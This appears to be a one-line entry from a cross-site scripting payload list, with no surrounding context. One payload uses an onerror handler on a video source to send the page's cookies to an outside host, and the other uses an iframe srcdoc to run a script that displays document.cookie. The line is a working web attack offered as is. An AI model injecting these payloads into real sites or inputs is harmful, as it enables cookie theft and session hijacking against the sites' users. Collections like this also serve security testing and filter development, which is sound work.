<video><source onerror=location=/\02.rs/+document.cookie> <iframe srcdoc='<script>alert(document.cookie)</script>'></iframe> XSS
